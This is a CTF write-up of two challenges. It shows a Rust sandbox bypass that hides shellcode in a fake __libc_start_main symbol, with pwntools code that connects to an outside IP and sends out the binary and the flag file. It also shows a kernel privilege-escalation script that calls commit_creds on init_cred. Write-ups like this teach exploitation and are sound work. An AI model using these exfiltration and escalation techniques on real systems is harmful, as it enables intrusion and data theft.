It's time for some CTF write-ups again.
Rusty Codepad
In this challenge, one was supposed to provide a file code.rs
with a function
code
, which would be called from a main program that looks like this:
extern crate code;
use code::code;
fn main() {
// hidden
code();
}
To make things more interesting, the provided code was compiled with a switch
that disables all usage of unsafe
, and usage of any of the include*!()
macros (which could leak the contents of main.rs
during compilation) was
disallowed.
I first unsuccessfully tried to force a stack overflow - the Rust compiler has a
static limit on the size of a stack frame, and there is no alloca
/VLA support
in Rust. My next idea was to use #[no_mangle]
on an unsafe function and name
it identically to the mangled name of code::code()
which I'd mark weak to
prevent linker issues with the duplicate symbol. Unfortunately, you can't mark a
symbol as weak in Rust. Then I was thinking about providing my own version of
free
with one that prints anything it gets that looks like a flag. However,
that didn't work out because Rust by default ships with a statically linked
jemalloc, so overriding a dynamically linked function is not possible.
Looking through the list of
attributes, I finally came
up with a working solution. The code()
function is actually empty, instead I
embedded some shell code in a static byte array called __libc_start_main
.
#[no_mangle]
#[link_section=".text"]
pub static __libc_start_main : [u8; 127] = [
...
];
pub fn code() {}
I first used pwntools to generate some shellcode that would leak me the compiled
binary so that I could find out how the flag is retrieved in the main
function:
#!/usr/bin/env python2
import sys
from pwnlib.shellcraft.amd64.linux import connect, readfile, exit
from pwnlib.asm import asm
code = readfile('/proc/self/exe', 1) + exit(0)
sys.stdout.write(asm(code, arch='amd64'))
Because the web interface for the challenge used a fancy web terminal
that was not meant to display huge amounts of binary data (and required a
captcha which was hard to use from curl
), I changed it to send the binary to a
network socket:
code = ''
code += connect('78.46.244.89', 1337)
code += readfile('/proc/self/exe', 'rbp')
code += exit(0)
Reversing this binary, I found that it just reads the flag from a file called
flag.txt
. So I changed the shellcode above to send this file instead of
/proc/self/exe
to get the flag.
Easier Solution?
Looking back, I was wondering why I even bothered with
all this shell code. No unsafe
code is required for reading files or opening
sockets. I think, I could just have written some Rust code that does the same
thing as my shellcode. Reversing the binary a bit further beyond the reference to
flag.txt
revealed that seccomp in strict mode was used to prevent any syscalls
except read
, write
and _exit
from working. Since our fake
__libc_start_main
runs instead of the normal main
, this sandbox never
becomes active, of course.
I guess the simplest solution would have just included an empty function for
prctl
to prevent seccomp from going active. Then the code::code
function
could have just read the flag using normal Rust code.
Baby Kernel
This was a simple kernel exploitation challenge. We were given a kernel and initrd. Booting it, a menu appeared that allowed calling an arbitrary kernel function (from ring 0) with a single argument. (For that, it loaded a custom kernel module.)
To get an idea of how to get a flag, I first modified the init script (at
/init
) inside the initrd to drop me into a root shell instead of the boot
menu. (This took me a bit longer than expected, because I was missing the -c
flag when creating the new initrd. So for my own future record this is the right
command to pack a new initrd: find . | cpio -o -c > ../sh_initrd.cpio
) With
this root shell, it was quickly clear that we were supposed to escalate
privileges from user id 1000 to root, in order to get permission to read the file
/flag
.
The kernel did not have any features like KASLR or KAISER enabled that would
randomize the kernel addresses. (I checked this by attaching with GDB to the
qemu running the kernel and comparing the addresses with those shown by r2
.)
So I looked a bit around the kernel sources for a function that looked like it
could be used to change privileges. I started at the syscalls for the set*uid
,
which quickly lead to all the functions defined in
creds.c
. After
a bit of trial and error, I ended up calling the function commit_creds
(which
changes the credentials of the current process to those specified in a struct
cred *
it receives as only param). As a parameter, I gave it a reference to the
global variable init_cred
, which holds for the credentials of the init
process (which runs as root).
To get the flag, I piped the output of this script to nc
(and for testing into
qemu
):
#!/usr/bin/env python3
import sys
from time import sleep
init_creds = 0xffffffff81a3c4e0
commit_creds = 0xffffffff8104e9d0
sleep(5)
print('.', file=sys.stderr)
def call(what, arg):
print(1)
print(what)
print(arg)
def id():
print(2)
def read_file(name):
print(3)
print(name)
def bye():
print(5)
call(commit_creds, init_creds)
id()
read_file('/flag')
bye()